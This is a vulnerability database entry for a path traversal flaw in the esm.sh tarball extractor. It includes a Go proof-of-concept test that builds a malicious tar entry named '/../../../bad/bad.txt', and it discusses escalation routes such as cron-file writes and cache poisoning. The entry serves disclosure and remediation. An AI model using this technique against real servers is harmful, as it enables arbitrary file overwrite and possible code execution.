GHSA-2657-3C98-63JQ
Vulnerability from github – Published: 2026-01-20 17:21 – Updated: 2026-02-27 22:06Summary
The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.
PoC
This test file can demonstrate the basic idea pretty easily:
package server
import (
"archive/tar"
"bytes"
"compress/gzip"
"testing"
)
// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
// Create a temporary directory for testing
installDir := "./testdata/good"
// Create a malicious tarball with path traversal
var buf bytes.Buffer
gw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gw)
// Add a normal file
content := []byte("export const foo = 'bar';")
header := &tar.Header{
Name: "package/index.js",
Mode: 0644,
Size: int64(len(content)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(content); err != nil {
t.Fatal(err)
}
// Add a malicious file with path traversal
bad := []byte("bad")
header = &tar.Header{
Name: "/../../../bad/bad.txt",
Mode: 0644,
Size: int64(len(bad)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(bad); err != nil {
t.Fatal(err)
}
tw.Close()
gw.Close()
// Call extractPackageTarball with the malicious tarball
if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
t.Errorf("extractPackageTarball returned error: %v", err)
}
}
Impact
It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.
Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.
The limiting factors in the default setup that limit escalating this to code execution:
extractPackageTarballhas a file-extension check which makes some more "obvious" escalations like overwriting binaries in/esm/bin(e.g.deno) impractical since it requires the target file to have an allowlisted extension.- Using the
Dockerfilein the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to/tmpand it's home directory. - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.
Fix
Using os.Root seems like it will solve this issue and doesn't require new dependencies.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.1"
},
{
"last_affected": "136"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260116051925-c62ab83c589e"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23644"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-20T17:21:49Z",
"nvd_published_at": "2026-01-18T23:15:48Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.\n\n### PoC\n\nThis test file can demonstrate the basic idea pretty easily:\n\n```go\npackage server\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"testing\"\n)\n\n// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function\n// with a malicious tarball containing a path traversal attempt\nfunc TestExtractPackageTarball_PathTraversal(t *testing.T) {\n\t// Create a temporary directory for testing\n\tinstallDir := \"./testdata/good\"\n\n\t// Create a malicious tarball with path traversal\n\tvar buf bytes.Buffer\n\tgw := gzip.NewWriter(\u0026buf)\n\ttw := tar.NewWriter(gw)\n\n\t// Add a normal file\n\tcontent := []byte(\"export const foo = \u0027bar\u0027;\")\n\theader := \u0026tar.Header{\n\t\tName: \"package/index.js\",\n\t\tMode: 0644,\n\t\tSize: int64(len(content)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(content); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Add a malicious file with path traversal\n\tbad := []byte(\"bad\")\n\theader = \u0026tar.Header{\n\t\tName: \"/../../../bad/bad.txt\",\n\t\tMode: 0644,\n\t\tSize: int64(len(bad)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(bad); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\ttw.Close()\n\tgw.Close()\n\n\t// Call extractPackageTarball with the malicious tarball\n\tif err := extractPackageTarball(installDir, \"test-package\", bytes.NewReader(buf.Bytes())); err != nil {\n\t\tt.Errorf(\"extractPackageTarball returned error: %v\", err)\n\t}\n}\n```\n\n### Impact\n\nIt, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.\n\nArbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.\n\nThe limiting factors in the default setup that limit escalating this to code execution:\n\n - `extractPackageTarball` has a file-extension check which makes some more \"obvious\" escalations like overwriting binaries in `/esm/bin` (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension.\n - Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it\u0027s home directory.\n - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.\n\n### Fix\n\nUsing [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn\u0027t require new dependencies.",
"id": "GHSA-2657-3c98-63jq",
"modified": "2026-02-27T22:06:18Z",
"published": "2026-01-20T17:21:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23644"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4138"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4332"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.